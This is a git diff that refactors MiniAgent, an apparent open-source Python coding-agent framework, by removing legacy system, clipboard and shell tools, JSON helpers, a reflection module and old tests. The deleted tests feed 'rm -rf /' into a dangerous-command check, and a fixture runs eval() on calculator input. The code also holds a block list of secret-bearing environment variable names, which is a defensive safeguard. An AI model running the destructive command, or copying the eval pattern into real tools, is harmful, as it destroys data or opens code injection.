Args: - path: Path to check disk usage, default is root directory - - Returns: - Dictionary containing disk usage information - """ - logger.info(f"disk_usage called: {path}") - try: - usage = psutil.disk_usage(path) - return { - "path": path, - "total_bytes": usage.total, - "used_bytes": usage.used, - "free_bytes": usage.free, - "percent_used": usage.percent, - "total_human": _format_size(usage.total), - "used_human": _format_size(usage.used), - "free_human": _format_size(usage.free), - "updated_at": datetime.datetime.now().isoformat() - } - except Exception as e: - logger.error(f"Error getting disk usage: {str(e)}") - raise ValueError(f"Failed to get disk usage for '{path}': {str(e)}") - -@register_tool -def process_list(limit: int = 10) -> List[Dict[str, Any]]: - """ - Get list of running processes. - - Args: - limit: Maximum number of processes to return, sorted by CPU usage - - Returns: - List of process information dictionaries - """ - logger.info(f"process_list called (limit: {limit})") - try: - processes = [] - for proc in psutil.process_iter(['pid', 'name', 'cpu_percent', 'memory_percent', 'username']): - try: - pinfo = proc.info - processes.append({ - "pid": pinfo['pid'], - "name": pinfo['name'], - "cpu_percent": pinfo['cpu_percent'], - "memory_percent": pinfo['memory_percent'], - "username": pinfo['username'] - }) - except (psutil.NoSuchProcess, psutil.AccessDenied): - continue - - # Sort by CPU usage and limit results - processes.sort(key=lambda x: x['cpu_percent'], reverse=True) - return processes[:limit] - except Exception as e: - logger.error(f"Error getting process list: {str(e)}") - raise ValueError(f"Failed to get process list: {str(e)}") - -@register_tool -def system_load() -> Dict[str, Any]: - """ - Get system load information including CPU, memory, and disk usage. - - Returns: - Dictionary containing system load information - """ - logger.info("system_load called") - try: - # CPU usage - cpu_percent = psutil.cpu_percent(interval=1) - cpu_count = psutil.cpu_count() - - # Memory usage - memory = psutil.virtual_memory() - - # Disk usage - disk = psutil.disk_usage('/') - - return { - "cpu": { - "percent": cpu_percent, - "count": cpu_count, - "load_avg": psutil.getloadavg() if hasattr(psutil, "getloadavg") else None - }, - "memory": { - "total": memory.total, - "available": memory.available, - "used": memory.used, - "free": memory.free, - "percent": memory.percent, - "total_human": _format_size(memory.total), - "available_human": _format_size(memory.available), - "used_human": _format_size(memory.used), - "free_human": _format_size(memory.free) - }, - "disk": { - "total": disk.total, - "used": disk.used, - "free": disk.free, - "percent": disk.percent, - "total_human": _format_size(disk.total), - "used_human": _format_size(disk.used), - "free_human": _format_size(disk.free) - }, - "updated_at": datetime.datetime.now().isoformat() - } - except Exception as e: - logger.error(f"Error getting system load: {str(e)}") - raise ValueError(f"Failed to get system load information: {str(e)}") - - -@register_tool -def open_browser(url: str) -> str: - """ - Open a URL in the default web browser. - - Args: - url: The URL to open. Can also be a search query (will use Google). - - Returns: - Status message - """ - # If it doesn't look like a URL, treat it as a search query - if not url.startswith(('http://', 'https://', 'file://')): - from urllib.parse import quote - url = f"https://www.google.com/search?q={quote(url)}" - - try: - webbrowser.open(url) - return f"Opened browser with: {url}" - except Exception as e: - raise ValueError(f"Failed to open browser: {str(e)}") - - -@register_tool -def open_app(app_name: str) -> str: - """ - Open an application by name. - - Args: - app_name: Name of the application to open (e.g., 'notepad', 'code', 'chrome') - - Returns: - Status message - """ - system = platform.system() - - try: - if system == "Windows": - # Common Windows app mappings - app_map = { - 'notepad': 'notepad.exe', - 'calculator': 'calc.exe', - 'explorer': 'explorer.exe', - 'cmd': 'cmd.exe', - 'powershell': 'powershell.exe', - 'chrome': 'chrome', - 'firefox': 'firefox', - 'edge': 'msedge', - 'code': 'code', - 'vscode': 'code', - } - cmd = app_map.get(app_name.lower(), app_name) - subprocess.Popen([cmd]) - elif system == "Darwin": # macOS - subprocess.Popen(['open', '-a', app_name]) - else: # Linux - subprocess.Popen([app_name], start_new_session=True) - - return f"Opened application: {app_name}" - except Exception as e: - raise ValueError(f"Failed to open application '{app_name}': {str(e)}") - - -@register_tool -def clipboard_copy(text: str) -> str: - """ - Copy text to system clipboard. - - Args: - text: Text to copy to clipboard - - Returns: - Status message - """ - system = platform.system() - - try: - if system == "Windows": - subprocess.run(['clip'], input=text.encode('utf-16le'), check=True) - elif system == "Darwin": # macOS - subprocess.run(['pbcopy'], input=text.encode('utf-8'), check=True) - else: # Linux - # Try xclip first, then xsel - try: - subprocess.run(['xclip', '-selection', 'clipboard'], input=text.encode('utf-8'), check=True) - except FileNotFoundError: - subprocess.run(['xsel', '--clipboard', '--input'], input=text.encode('utf-8'), check=True) - - return f"Copied {len(text)} characters to clipboard" - except Exception as e: - raise ValueError(f"Failed to copy to clipboard: {str(e)}") - - -@register_tool -def clipboard_read() -> str: - """ - Read text content from system clipboard. - - Returns: - Text content from clipboard - """ - system = platform.system() - - try: - if system == "Windows": - result = subprocess.run(['powershell', '-command', 'Get-Clipboard'], capture_output=True, text=True, check=True) - return result.stdout.rstrip('\r\n') - elif system == "Darwin": # macOS - result = subprocess.run(['pbpaste'], capture_output=True, text=True, check=True) - return result.stdout - else: # Linux - try: - result = subprocess.run(['xclip', '-selection', 'clipboard', '-o'], capture_output=True, text=True, check=True) - return result.stdout - except FileNotFoundError: - result = subprocess.run(['xsel', '--clipboard', '--output'], capture_output=True, text=True, check=True) - return result.stdout - except Exception as e: - raise ValueError(f"Failed to read clipboard: {str(e)}") - - -@register_tool -def create_docx(path: str, content: str, title: str = "") -> str: - """ - Create a Word document (.docx) with the given content. - Note: Requires python-docx package. If not installed, creates a .txt file instead. - - Args: - path: Path for the output file (will add .docx extension if needed) - content: Text content for the document - title: Optional title for the document - - Returns: - Status message with file path - """ - # Ensure .docx extension - if not path.lower().endswith('.docx'): - path = path + '.docx' - - try: - from docx import Document - from docx.shared import Pt, Inches - from docx.enum.text import WD_ALIGN_PARAGRAPH - - doc = Document() - - # Add title if provided - if title: - title_para = doc.add_heading(title, level=0) - title_para.alignment = WD_ALIGN_PARAGRAPH.CENTER - - # Split content into paragraphs and add them - paragraphs = content.split('\n\n') - for para_text in paragraphs: - if para_text.strip(): - # Check if it's a heading (starts with #) - if para_text.startswith('# '): - doc.add_heading(para_text[2:], level=1) - elif para_text.startswith('## '): - doc.add_heading(para_text[3:], level=2) - elif para_text.startswith('### '): - doc.add_heading(para_text[4:], level=3) - else: - doc.add_paragraph(para_text.strip()) - - doc.save(path) - return f"Created Word document: {path}" - - except ImportError: - # Fallback: create a text file with instructions - txt_path = path.replace('.docx', '.txt') - with open(txt_path, 'w', encoding='utf-8') as f: - if title: - f.write(f"{title}\n{'='*len(title)}\n\n") - f.write(content) - return f"python-docx not installed. Created text file instead: {txt_path}\nTo create .docx files, run: uv sync --extra docx or pip install python-docx" - - -# Sensitive environment variable name patterns -_SENSITIVE_ENV_PATTERNS = re.compile( - r"(KEY|SECRET|PASSWORD|TOKEN|CREDENTIAL|PRIVATE)", re.IGNORECASE -) - - -@register_tool -def env_get(name: str) -> str: - """ - Get an environment variable value. - Sensitive variables (containing KEY, SECRET, PASSWORD, TOKEN, etc.) are blocked. - - Args: - name: Name of the environment variable - - Returns: - Value of the environment variable or empty string if not found - """ - if _SENSITIVE_ENV_PATTERNS.search(name): - return "[blocked] Cannot read sensitive environment variables" - return os.environ.get(name, "") - - -@register_tool -def env_set(name: str, value: str) -> str: - """ - Set an environment variable (for current process only). - Sensitive variables (containing KEY, SECRET, PASSWORD, TOKEN, etc.) are blocked. - - Args: - name: Name of the environment variable - value: Value to set - - Returns: - Status message - """ - if _SENSITIVE_ENV_PATTERNS.search(name): - return "[blocked] Cannot modify sensitive environment variables" - os.environ[name] = value - return f"Set environment variable: {name}={value}" diff --git a/miniagent/tools/code_tools.py b/miniagent/tools/code_tools.py index 4dd6465..fe61fc5 100644 --- a/miniagent/tools/code_tools.py +++ b/miniagent/tools/code_tools.py @@ -1,21 +1,17 @@ """Code editing tools for MiniAgent. -These tools are intentionally small, dependency-free, and suitable for open-source use. -They are designed to be used by the agent via the existing text-based tool calling format. +File helpers are mounted by coding_tools() through Schema, Policy and Skill checks. +Shell execution is owned by miniagent.plugins.shell. """ from __future__ import annotations -import os import re -import subprocess from contextvars import ContextVar from pathlib import Path -from typing import Any, Dict, List, Optional, Tuple +from typing import Any, Dict, List -from . import register_tool from ..logger import get_logger -from ..utils.text_utils import smart_truncate logger = get_logger(__name__) _workspace = ContextVar("miniagent_workspace", default=None) @@ -55,7 +51,6 @@ def _iter_files(root: Path) -> List[Path]: and (workspace is None or p.resolve().is_relative_to(workspace))] -@register_tool def read(path: str, offset: int = 1, limit: int = 200) -> str: """Read file content with line numbers. @@ -90,7 +85,6 @@ def read(path: str, offset: int = 1, limit: int = 200) -> str: return f"path: {file_path}\nlines: {start}-{end}/{total}\n{body}" -@register_tool def write(path: str, content: str) -> str: """Write content to a file. @@ -110,7 +104,6 @@ def write(path: str, content: str) -> str: return f"error: {e}" -@register_tool def edit(path: str, old: str, new: str, all: bool = False) -> str: # noqa: A002 """Edit a file via string replacement. @@ -140,7 +133,6 @@ def edit(path: str, old: str, new: str, all: bool = False) -> str: # noqa: A002 return f"error: {e}" -@register_tool def glob(pattern: str, path: str = ".") -> List[str]: # noqa: A002 """File pattern matching. @@ -165,7 +157,6 @@ def glob(pattern: str, path: str = ".") -> List[str]: # noqa: A002 return [f"error: glob failed: {e}"] -@register_tool def grep(pattern: str, path: str = ".") -> List[Dict[str, Any]]: # noqa: A002 """Regex search in files. @@ -198,41 +189,3 @@ def grep(pattern: str, path: str = ".") -> List[Dict[str, Any]]: # noqa: A002 }) return results - - -@register_tool -def bash(cmd: str, timeout: int = 0) -> Dict[str, Any]: - """Execute a shell command. - - Args: - cmd: Shell command string. - timeout: Maximum execution time in seconds (0 = use BASH_TIMEOUT env var, default 120). - - Returns: - Dict containing exit_code, stdout, stderr. - """ - if timeout <= 0: - timeout = int(os.environ.get("BASH_TIMEOUT", "120")) - MAX_OUTPUT = int(os.environ.get("BASH_MAX_OUTPUT", "50000")) - try: - completed = subprocess.run( - cmd, - shell=True, - text=True, - capture_output=True, - cwd=os.getcwd(), - env=os.environ.copy(), - timeout=timeout, - ) - stdout = smart_truncate(completed.stdout or "", MAX_OUTPUT) - stderr = smart_truncate(completed.stderr or "", MAX_OUTPUT) - return { - "exit_code": completed.returncode, - "stdout": stdout.strip(), - "stderr": stderr.strip(), - } - except subprocess.TimeoutExpired: - return {"exit_code": 1, "stdout": "", "stderr": f"Command timed out after {timeout}s"} - except Exception as e: - logger.exception("bash failed") - return {"exit_code": 1, "stdout": "", "stderr": str(e)} diff --git a/miniagent/tools/registry.py b/miniagent/tools/registry.py index 7d554c5..012fa72 100644 --- a/miniagent/tools/registry.py +++ b/miniagent/tools/registry.py @@ -1,4 +1,4 @@ -"""Instance-owned tools. The decorator registry is only a declaration catalog.""" +"""Instance-owned tools with Schema, Skill and Policy checks before execution.""" import inspect from dataclasses import dataclass from typing import Callable diff --git a/miniagent/utils/__init__.py b/miniagent/utils/__init__.py index 076bde6..0af7de9 100644 --- a/miniagent/utils/__init__.py +++ b/miniagent/utils/__init__.py @@ -1,13 +1,4 @@ -"""Compatibility utilities loaded only when requested.""" +"""Shared text utilities for the native runtime.""" +from .text_utils import smart_truncate -def __getattr__(name): - if name == "Reflector": - from .reflector import Reflector - return Reflector - if name == "smart_truncate": - from .text_utils import smart_truncate - return smart_truncate - if name in {"parse_json", "extract_json_from_markdown", "extract_tool_call", "format_tool_response"}: - from . import json_utils - return getattr(json_utils, name) - raise AttributeError(name) +__all__ = ["smart_truncate"] diff --git a/miniagent/utils/json_utils.py b/miniagent/utils/json_utils.py deleted file mode 100644 index 955357a..0000000 --- a/miniagent/utils/json_utils.py +++ /dev/null @@ -1,304 +0,0 @@ -"""JSON utilities module, providing parsing and validation functions for JSON""" - -import json -import re -from typing import Dict, Any, Optional, Union, List, Tuple - -from ..logger import get_logger - -logger = get_logger(__name__) - -def extract_json_from_markdown(text: str) -> Tuple[Optional[str], str]: - """ - Extract JSON string from Markdown text - - Args: - text: Markdown text containing JSON - - Returns: - Tuple of extracted JSON string and remaining text - """ - # Look for ```json ... ``` blocks - json_pattern = r"```(?:json)?\s*([\s\S]*?)```" - matches = re.findall(json_pattern, text) - - if matches: - return matches[0].strip(), text - - # Look for { ... } blocks - brace_pattern = r"\{[\s\S]*?\}" - matches = re.findall(brace_pattern, text) - - if matches: - return matches[0], text - - return None, text - -def clean_json_string(json_str: str) -> str: - """ - Clean JSON string, removing comments, extra spaces, etc. - - Args: - json_str: Original JSON string - - Returns: - Cleaned JSON string - """ - if not json_str: - return "" - - # Remove comments (// and /* */) - json_str = re.sub(r"//.*?$", "", json_str, flags=re.MULTILINE) - json_str = re.sub(r"/\*.*?\*/", "", json_str, flags=re.DOTALL) - - # Remove trailing commas - json_str = re.sub(r",\s*([}\]])", r"\1", json_str) - - return json_str.strip() - -def parse_json(json_str: str) -> Union[Dict, List]: - """ - Parse JSON string, handling various error cases - - Args: - json_str: JSON string - - Returns: - Parsed dictionary or list - """ - if not json_str: - logger.debug("Received empty JSON string") - return {} - - try: - # First try direct parsing - return json.loads(json_str) - except json.JSONDecodeError: - logger.debug(f"JSON parsing failed, attempting to fix: {truncate_message_content(json_str)}") - - # Try with strict=False to allow control characters (newlines in strings) - try: - return json.loads(json_str, strict=False) - except json.JSONDecodeError: - pass - - # Try to fix unescaped newlines in string values - # This is common when LLM generates multi-line code - try: - # Replace actual newlines within string values with \\n - fixed_json = _fix_unescaped_newlines(json_str) - return json.loads(fixed_json) - except (json.JSONDecodeError, ValueError): - pass - - # Try to fix common issues and parse again - # 1. Try to extract JSON from text - json_match = re.search(r'```json\s*([\s\S]*?)\s*```|```([\s\S]*?)```|(\{[\s\S]*\})', json_str) - if json_match: - extracted_json = json_match.group(1) or json_match.group(2) or json_match.group(3) - try: - return json.loads(extracted_json) - except json.JSONDecodeError: - try: - return json.loads(extracted_json, strict=False) - except json.JSONDecodeError: - try: - fixed = _fix_unescaped_newlines(extracted_json) - return json.loads(fixed) - except (json.JSONDecodeError, ValueError): - pass - - # 2. Try to fix quote issues - fixed_json = json_str.replace("'", '"') - try: - return json.loads(fixed_json) - except json.JSONDecodeError: - pass - - # 3. Try to fix trailing comma issues - fixed_json = re.sub(r',\s*}', '}', json_str) - fixed_json = re.sub(r',\s*]', ']', fixed_json) - try: - return json.loads(fixed_json) - except json.JSONDecodeError: - logger.debug(f"All JSON parse attempts failed for input: {truncate_message_content(json_str)}") - return {} - - -def _fix_unescaped_newlines(json_str: str) -> str: - """ - Fix unescaped newlines inside JSON string values. - This handles the common case where LLM generates multi-line code - without properly escaping newlines. - """ - result = [] - in_string = False - escape_next = False - - for char in json_str: - if escape_next: - result.append(char) - escape_next = False - continue - - if char == '\\': - result.append(char) - escape_next = True - continue - - if char == '"': - in_string = not in_string - result.append(char) - continue - - if in_string and char == '\n': - result.append('\\n') - continue - - if in_string and char == '\r': - continue # Skip carriage returns - - if in_string and char == '\t': - result.append('\\t') - continue - - result.append(char) - - return ''.join(result) - -def truncate_message_content(content: str, max_length: int = 100) -> str: - """ - Truncate message content for log display - - Args: - content: Message content - max_length: Maximum length - - Returns: - Truncated content - """ - if not content or not isinstance(content, str): - return str(content) - if len(content) <= max_length: - return content - return content[:max_length] + "..." - -def extract_content(response: Union[Dict, Any]) -> str: - """ - Extract content from LLM response, compatible with different response formats - - Args: - response: LLM response object - - Returns: - Extracted content string - """ - try: - # Handle different response formats - if hasattr(response, 'choices') and hasattr(response.choices[0], 'message'): - # OpenAI-style API response - return response.choices[0].message.content or "" - elif isinstance(response, dict): - # Dictionary format response - if 'choices' in response: - choices = response['choices'] - if isinstance(choices, list) and len(choices) > 0: - message = choices[0].get('message', {}) - return message.get('content', "") - - # If unable to parse, log and return empty string - logger.warning(f"Unable to extract content from response: {truncate_message_content(str(response))}") - return "" - except Exception as e: - logger.error(f"Error extracting content: {str(e)}") - return "" - -def extract_tool_calls(response: Union[Dict, Any]) -> List[Dict]: - """ - Extract tool calls from LLM response, compatible with different formats - - Args: - response: LLM response object - - Returns: - List of tool calls - """ - try: - # Handle different response formats - if hasattr(response, 'choices') and hasattr(response.choices[0], 'message'): - # OpenAI-style API response - message = response.choices[0].message - if hasattr(message, 'tool_calls') and message.tool_calls: - # Standardize tool call format - return [ - { - "id": tool_call.id, - "name": tool_call.function.name, - "arguments": parse_json(tool_call.function.arguments) - } - for tool_call in message.tool_calls - ] - return [] - elif isinstance(response, dict): - # Dictionary format response - if 'choices' in response: - choices = response['choices'] - if isinstance(choices, list) and len(choices) > 0: - message = choices[0].get('message', {}) - tool_calls = message.get('tool_calls', []) - - # Standardize tool call format - return [ - { - "id": tool_call.get('id', f"call_{i}"), - "name": tool_call.get('function', {}).get('name', ''), - "arguments": parse_json(tool_call.get('function', {}).get('arguments', '{}')) - } - for i, tool_call in enumerate(tool_calls) - ] - - # If unable to parse, log and return empty list - return [] - except Exception as e: - logger.error(f"Error extracting tool calls: {str(e)}") - return [] - -def extract_tool_call(response: Union[Dict, Any]) -> Optional[Dict]: - """ - Extract a tool call from LLM response - - Args: - response: LLM response - - Returns: - Tool call information, or None if not found - """ - tool_calls = extract_tool_calls(response) - return tool_calls[0] if tool_calls else None - -def format_tool_response(tool_call: Dict, response: Any) -> Dict: - """ - Format the response from a tool call - - Args: - tool_call: Tool call information - response: Tool execution response - - Returns: - Formatted response - """ - tool_name = tool_call.get("name") - - # Handle different response types - if isinstance(response, (dict, list)): - try: - content = json.dumps(response, ensure_ascii=False) - except Exception: - content = str(response) - else: - content = str(response) - - return { - "name": tool_name, - "content": content - } \ No newline at end of file diff --git a/miniagent/utils/reflector.py b/miniagent/utils/reflector.py deleted file mode 100644 index e0a4c87..0000000 --- a/miniagent/utils/reflector.py +++ /dev/null @@ -1,197 +0,0 @@ -""" -Implementation of Reflector for agent response reflection and improvement -""" - -from typing import Dict, Any, Optional, List - -from ..logger import get_logger - -logger = get_logger(__name__) - -class Reflector: - """ - Reflector class for enhancing agent responses through self-reflection and criticism - """ - - def __init__(self, client=None, model: str = None, config: Dict[str, Any] = None): - """ - Initialize Reflector - - Args: - client: OpenAI client instance - model: Model name - config: Reflector configuration - """ - self.client = client - self.model = model - self.config = config or {} - - # Extract parameters from config - self.temperature = self.config.get("temperature", 0.7) - self.disabled = self.config.get("disabled", False) - self.max_tokens = self.config.get("max_tokens", None) - - logger.debug(f"Reflector initialized, model: {model}, disabled: {self.disabled}") - - def apply_reflection(self, messages: List[Dict[str, str]]) -> List[Dict[str, str]]: - """ - Apply reflection to a conversation - - This method examines the conversation history and adds reflection - to improve the agent's reasoning process. - - Args: - messages: Conversation messages - - Returns: - Potentially modified copy of messages (original is not mutated) - """ - if self.disabled or not self.client or not self.model: - return messages - - # Simple implementation - get the last user query and assistant response - if len(messages) < 2: - return messages - - # Extract the last user query - last_user_msg = None - last_assistant_msg = None - - # Find the most recent user-assistant exchange - for i in range(len(messages)-1, 0, -1): - if messages[i]["role"] == "assistant" and last_assistant_msg is None: - last_assistant_msg = messages[i]["content"] - elif messages[i]["role"] == "user" and last_assistant_msg is not None and last_user_msg is None: - last_user_msg = messages[i]["content"] - break - - if not last_user_msg or not last_assistant_msg: - return messages - - # Reflect on the response - improved_response = self.reflect(last_user_msg, last_assistant_msg) - - # If reflection improved the response, update in a copy - if improved_response and improved_response != last_assistant_msg: - messages = [dict(m) for m in messages] - for i in range(len(messages)-1, 0, -1): - if messages[i]["role"] == "assistant": - messages[i]["content"] = improved_response - break - - return messages - - def reflect(self, query: str, current_response: str) -> str: - """ - Reflect on and improve the current response - - Args: - query: User query - current_response: Current LLM-generated response - - Returns: - Improved response or original response (if no improvement) - """ - if self.disabled or not self.client or not self.model: - logger.debug("Reflector is disabled or not fully configured, skipping reflection process") - return current_response - - if not current_response.strip(): - logger.debug("Current response is empty, skipping reflection process") - return current_response - - try: - # Build reflection prompt - reflection_prompt = self._build_reflection_prompt(query, current_response) - - logger.debug(f"Sending reflection prompt to LLM") - - # Request LLM for reflection - response = self.client.chat.completions.create( - model=self.model, - messages=[ - {"role": "system", "content": "You are a high-quality response analyzer. Your task is to evaluate and improve given responses."}, - {"role": "user", "content": reflection_prompt} - ], - temperature=self.temperature, - max_tokens=self.max_tokens - ) - - # Extract reflection content - reflection_content = response.choices[0].message.content - - logger.debug(f"Received reflection content: {reflection_content[:100]}...") - - # Extract improved response - improved_response = self._extract_improved_response(reflection_content) - - # If improved response is extracted, return it - if improved_response and improved_response != current_response: - logger.info("Reflection process produced an improved response") - return improved_response - else: - logger.debug("Reflection process did not produce significant improvement") - return current_response - - except Exception as e: - logger.error(f"Error during reflection process: {str(e)}") - # Return original response on error - return current_response - - def _build_reflection_prompt(self, query: str, current_response: str) -> str: - """ - Build reflection prompt - - Args: - query: User query - current_response: Current LLM-generated response - - Returns: - Reflection prompt text - """ - return f""" -Please evaluate the quality of the following response, which is an answer to a user query. After evaluation, provide an improved version if necessary: - -User Query: {query} - -Current Response: -{current_response} - -Please evaluate the response based on the following aspects: -1. Accuracy: Is the information accurate? -2. Relevance: Does the response fully answer the user's query? -3. Completeness: Does it cover all important aspects? -4. Clarity: Is the expression clear and understandable? -5. Logicality: Are the arguments logical? -6. Format: Is the format appropriate and easy to read? - -If there are obvious issues with the current response, please provide an improved response. If the current response is already good, please state "Current response is already good" and return the original response. - -Evaluation: -""" - - def _extract_improved_response(self, reflection_content: str) -> Optional[str]: - """ - Extract improved response from reflection content - - Args: - reflection_content: Complete reflection content - - Returns: - Improved response, or None if not found - """ - # Try to find key indicators that might indicate the start of an improved response - indicators = ["Improved Response:", "Improved Version:", "Here is the improved response:", "Optimized Answer:"] - - for indicator in indicators: - if indicator in reflection_content: - parts = reflection_content.split(indicator, 1) - if len(parts) > 1: - return parts[1].strip() - - # If reflection content contains "Current response is already good" or similar, no improvement needed - if "Current response is already good" in reflection_content or "No improvement needed" in reflection_content: - return None - - # No clear improved response found - return None \ No newline at end of file diff --git a/pyproject.toml b/pyproject.toml index 981cbd6..76f39d0 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,7 +1,7 @@ [project] name = "miniagent" -version = "0.2.0a1" -description = "A minimalist CLI Agent framework for learning AI Agents" +version = "0.3.0a1" +description = "A Python-native mini harness and coding agent with plugins, MCP, Skills, and resumable sessions" readme = "README.md" requires-python = ">=3.11" license = { text = "Apache-2.0" } @@ -36,10 +36,8 @@ classifiers = [ dependencies = [ "any-llm-sdk==1.33.0", "jsonschema>=4.20,<5", - "openai>=1.0.0", "python-dotenv>=0.19.0", "rich>=13.0.0", - "tenacity>=8.0.0", ] [project.urls] @@ -51,14 +49,11 @@ Source = "https://github.com/ZhuLinsen/MiniAgent" miniagent = "miniagent.cli:main" [project.optional-dependencies] -legacy = ["distro>=1.8.0", "psutil>=5.9.0", "requests>=2.31.0"] mcp = ["mcp==2.3.0"] credentials = ["keyring>=25,<26"] -docx = [ - "python-docx>=0.8.11", -] dev = [ "pytest>=9.0.3,<10", + "psutil>=5.9,<8", ] [dependency-groups] @@ -66,6 +61,7 @@ dev = [ "pytest>=9.0.3,<10", "ruff==0.17.0", "pip-audit==2.10.1", + "psutil>=5.9,<8", ] [build-system] diff --git a/scripts/minimal_install_smoke.py b/scripts/minimal_install_smoke.py index 50be538..fdb4286 100644 --- a/scripts/minimal_install_smoke.py +++ b/scripts/minimal_install_smoke.py @@ -19,6 +19,9 @@ from miniagent.policy import Policy assert all(importlib.util.find_spec(name) is None for name in ("psutil", "requests", "mcp", "keyring")) +assert all(importlib.util.find_spec("miniagent." + name) is None for name in ( + "legacy", "legacy_cli", "memory", "orchestrator", "tools.basic_tools", "utils.json_utils")) + class Backend: async def complete(self, messages, tools, stream): return {"role": "assistant", "content": "installed wheel works"} @@ -77,7 +80,7 @@ def main(): if args.report: args.report.parent.mkdir(parents=True, exist_ok=True) args.report.write_text(json.dumps(report, indent=2), encoding="utf-8") - print("Minimal installed-wheel smoke passed (no MCP or legacy extras).") + print("Minimal installed-wheel smoke passed (no optional extras).") if __name__ == "__main__": diff --git a/tests/test_agent_core.py b/tests/test_agent_core.py deleted file mode 100644 index dbb0fc2..0000000 --- a/tests/test_agent_core.py +++ /dev/null @@ -1,141 +0,0 @@ -"""Tests for core Agent functionality with mocked LLM.""" - -from unittest.mock import Mock, patch, MagicMock -import pytest - -from miniagent.agent import MiniAgent - - -@pytest.fixture -def agent(): - """Create an agent with a mocked OpenAI client.""" - with patch("miniagent.agent.MiniAgent._init_llm_client"): - a = MiniAgent(model="test-model", api_key="fake-key") - a.client = Mock() - # Give it a simple tool - a.tools = [{ - "name": "calculator", - "description": "Calculate an expression", - "parameters": { - "type": "object", - "properties": {"expression": {"type": "string"}}, - "required": ["expression"], - }, - "executor": lambda expression: str(eval(expression)), - }] - return a - - -def test_execute_tool_success(agent): - """_execute_tool should call the executor and return the result.""" - tool_call = {"name": "calculator", "arguments": {"expression": "2+3"}} - result = agent._execute_tool(tool_call) - assert result == "5" - - -def test_execute_tool_not_found(agent): - """_execute_tool returns error string for unknown tool.""" - tool_call = {"name": "nonexistent", "arguments": {}} - result = agent._execute_tool(tool_call) - assert "not found" in result.lower() - - -def test_execute_tool_exception(agent): - """_execute_tool returns error string when executor raises.""" - tool_call = {"name": "calculator", "arguments": {"expression": "1/0"}} - result = agent._execute_tool(tool_call) - assert "error" in result.lower() - - -def test_execute_tool_callback(agent): - """_execute_tool fires start/end callbacks.""" - cb = Mock() - tool_call = {"name": "calculator", "arguments": {"expression": "1+1"}} - agent._execute_tool(tool_call, tool_callback=cb) - assert cb.call_count == 2 - assert cb.call_args_list[0][0][0] == "start" - assert cb.call_args_list[1][0][0] == "end" - - -def test_compress_if_needed_no_compress(agent): - """Short message list should not be compressed.""" - msgs = [{"role": "user", "content": f"msg{i}"} for i in range(5)] - result = agent._compress_if_needed(msgs, 20) - assert len(result) == 5 - - -def test_compress_if_needed_triggers(agent): - """Long message list should be compressed.""" - msgs = [{"role": "system", "content": "sys"}] - msgs += [{"role": "user", "content": f"msg{i}"} for i in range(25)] - result = agent._compress_if_needed(msgs, 10) - assert len(result) < len(msgs) - - -def test_check_dangerous_disabled(agent): - """With confirm_dangerous=False, all commands pass.""" - agent.confirm_dangerous = False - result = agent._check_dangerous({"name": "bash", "arguments": {"cmd": "rm -rf /"}}) - assert result is True - - -def test_check_dangerous_non_bash(agent): - """Non-bash tools always pass danger check.""" - agent.confirm_dangerous = True - result = agent._check_dangerous({"name": "calculator", "arguments": {}}) - assert result is True - - -def test_check_dangerous_safe_cmd(agent): - """Safe bash commands pass danger check.""" - agent.confirm_dangerous = True - result = agent._check_dangerous({"name": "bash", "arguments": {"cmd": "echo hello"}}) - assert result is True - - -def test_check_dangerous_blocked(agent): - """Dangerous cmd is blocked when callback rejects.""" - agent.confirm_dangerous = True - agent.confirm_callback = lambda cmd: False - result = agent._check_dangerous({"name": "bash", "arguments": {"cmd": "rm -rf /"}}) - assert result is False - - -def test_check_dangerous_allowed(agent): - """Dangerous cmd proceeds when callback approves.""" - agent.confirm_dangerous = True - agent.confirm_callback = lambda cmd: True - result = agent._check_dangerous({"name": "bash", "arguments": {"cmd": "rm -rf /"}}) - assert result is True - - -def test_build_tools_prompt(agent): - """_build_tools_prompt should include registered tool names.""" - prompt = agent._build_tools_prompt() - assert "calculator" in prompt - assert "expression" in prompt - - -def test_parse_tool_call_valid(agent): - """_parse_tool_call should extract TOOL and ARGS from text.""" - text = 'TOOL: calculator\nARGS: {"expression": "2+2"}' - result = agent._parse_tool_call(text) - assert result is not None - assert result["name"] == "calculator" - assert result["arguments"]["expression"] == "2+2" - - -def test_parse_tool_call_no_tool(agent): - """_parse_tool_call returns None for plain text.""" - result = agent._parse_tool_call("Just a regular answer with no tool call.") - assert result is None - - -def test_safe_execute_tool_rejected(agent): - """_safe_execute_tool returns (None, True) when dangerous cmd is rejected.""" - agent.confirm_dangerous = True - agent.confirm_callback = lambda cmd: False - tc = {"name": "bash", "arguments": {"cmd": "rm -rf /"}} - result, rejected = agent._safe_execute_tool(tc, None, None, 16000) - assert rejected is True - assert result is None diff --git a/tests/test_agent_parsing.py b/tests/test_agent_parsing.py deleted file mode 100644 index ea27a39..0000000 --- a/tests/test_agent_parsing.py +++ /dev/null @@ -1,76 +0,0 @@ -"""Tests for agent text-based tool call parsing.""" - -import pytest -from miniagent.agent import MiniAgent - - -@pytest.fixture -def agent(): - """Create a MiniAgent instance (LLM calls will not be made in these tests).""" - return MiniAgent( - model="test-model", - api_key="test-key", - base_url="http://localhost:9999", # won't be called - ) - - -class TestParseToolCall: - def test_standard_format(self, agent): - content = 'Let me help you.\nTOOL: calculator\nARGS: {"expression": "2 + 2"}' - result = agent._parse_tool_call(content) - assert result is not None - assert result["name"] == "calculator" - assert result["arguments"]["expression"] == "2 + 2" - - def test_relaxed_format(self, agent): - content = 'Tool: bash\nArgs: {"cmd": "ls -la"}' - result = agent._parse_tool_call(content) - assert result is not None - assert result["name"] == "bash" - assert result["arguments"]["cmd"] == "ls -la" - - def test_chinese_format(self, agent): - content = '工具: calculator\n参数: {"expression": "1+1"}' - result = agent._parse_tool_call(content) - assert result is not None - assert result["name"] == "calculator" - - def test_no_tool_call(self, agent): - content = "This is just a regular response with no tool calls." - result = agent._parse_tool_call(content) - assert result is None - - def test_write_tool(self, agent): - content = 'TOOL: write\nARGS: {"path": "test.py", "content": "print(\'hello\')"}' - result = agent._parse_tool_call(content) - assert result is not None - assert result["name"] == "write" - assert result["arguments"]["path"] == "test.py" - - def test_multiline_json(self, agent): - content = '''TOOL: write -ARGS: { - "path": "hello.py", - "content": "line1\\nline2" -}''' - result = agent._parse_tool_call(content) - assert result is not None - assert result["name"] == "write" - - -class TestExtractBalancedJson: - def test_simple(self, agent): - result = agent._extract_balanced_json('{"a": 1}') - assert result == '{"a": 1}' - - def test_nested(self, agent): - result = agent._extract_balanced_json('{"a": {"b": 2}}') - assert result == '{"a": {"b": 2}}' - - def 